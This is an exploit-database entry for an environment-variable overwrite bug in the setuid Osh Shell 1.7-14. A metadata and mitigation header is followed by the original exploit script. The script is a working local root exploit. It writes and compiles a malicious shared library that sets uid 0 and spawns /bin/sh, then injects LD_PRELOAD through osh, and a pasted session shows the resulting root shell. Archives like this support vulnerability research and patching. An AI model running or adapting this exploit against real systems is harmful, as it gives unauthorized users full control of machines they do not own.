OSH 1.7-14 Exploit

vendor:

Osh Shell

by:

Charles Stevenson (core)

7.5

CVSS

HIGH

Environment Variable Overwrite

CWE

Product Name: Osh Shell

Affected Version From: 1.7

Affected Version To: 14

Patch Exists: NO

Related CWE:

CPE: a:osh:osh:1.7-14

Metasploit:

Other Scripts:

Platforms Tested: Linux

The Operator Shell (Osh) is a setuid root, security enhanced, restricted shell. It allows the administrator to carefully limit the access of special commands and files to the users whose duties require their use, while at the same time automatically maintaining audit records. The configuration file for Osh contains an administrator defined access profile for each authorized user or group. The exploit takes advantage of a bug in the code that handles substitutions of environmental variables. By appending to the return value of the getenv() function, an attacker can overwrite one of the environmental variables passed to the child process.

Mitigation:

The vulnerability can be mitigated by ensuring proper input validation and handling in the code that handles substitutions of environmental variables. Additionally, regular patching and updates to the Osh shell can help prevent exploitation of this vulnerability.

Source

Exploit-DB raw data:

#!/bin/sh
#
# OSH 1.7-14 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem discovered and described by Solar Eclipse:
#  
#  main.c:439
#  
#      if (gettoken(env, MAXENV)!=TWORD) {
#        fprintf(stderr,"Illegal or too long environment variable\n");
#        break;
#      }
#      if ((env2=getenv(env))==NULL) {
#        char temp[255];
#        char *temp2;
#  
#        strcpy(temp,env);
#        if ((temp2=(char *)strrchr(temp,'/'))!=NULL) {
#          if (temp2!=temp)
#            *temp2='\0';
#          else
#            *(temp2+1)='\0';
#          if ((env2=getenv(temp))!=NULL) {
#            strcat(env2,"/");
#            strcat(env2,temp2+1);
#          }
#        }
#      }
#  
#  exploit:
#  
#      This code is used to handle substitutions of environmental
#      variables. If the first call to getenv() fails, we might have a case
#      like $VAR/filename, so we find the last '/' character and replace
#      it with '\0'. Then we call getenv() on the shortened variable and
#      append "/filename" to it. The problem is that the return value of
#      getenv() is a NULL terminated string on the stack and by appending
#      to it we will overwriting the data after the string.
#  
#      This bug allows us to overwrite one of the environmental variables
#      passed to the child process. If we set the environmental variable
#      $VAR to the string "a" before executing osh, and then pass
#      "$VAR/LD_PRELOAD=evil.so" as a command line parameter, the above
#      code will overwrite the value of some environmental variable located
#      after $VAR with LD_PRELOAD=evil.so. Then osh will execute an
#      external non-suid program and the code in evil.so will be executed.
#  
#      I have not tested this, but it looks like a really cool bug.
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
#       Then again the last two have been classified as "urgency=high"
#       according to Debian policy.  Truly sorry to cause Oohara Yuuma
#       so much work.  You really should orphan this package ;)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, arcanum, mercy, amnesia, 
# banned-it, capsyl, sloth, ben, KF, akt0r, MRX, salvia, thn
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# Obligatory screenshot:
#   core@charity:~/hacking/sploits$ dpkg -l osh|grep ^ii
#   ii  osh            1.7-14         Operator's Shell
#   core@charity:~/hacking/sploits$ ./x_osh3.sh 
#   telnet: could not resolve /home/core/LD_PRELOAD=ownall.so/telnet: Name or service not known
#   sh-3.00# id
#   uid=0(root) gid=0(root) groups=0(root)


cd /tmp; cat >ownall.c <<EOF
/* ownall.c by Charles Stevenson (core) <core@bokeoa.com>
 * greetz Solar Eclipse, 0dd, irc.pulltheplug.org (#social) */
#include <stdlib.h>
#include <unistd.h>
int close(int fd) {
  gid_t groupsex = 0; /* osh isn't gettin' any tonight */
  setuid(0); /* Not really needed but make uid root */
  setgid(0); /* Set gid root too! */
  setgroups((size_t)1,&groupsex); /* This makes my pastes cooler looking */
  clearenv(); /* LD_PRELOAD was causing headaches ;) */
  execl("/bin/sh","/bin/sh",NULL);
  return 0;
}
EOF
gcc -shared -o ownall.so ownall.c
osh telnet -l '$USER/LD_LIBRARY_PATH=.' '$HOME/LD_PRELOAD=ownall.so'
rm -f ownall*

# milw0rm.com [2005-11-09]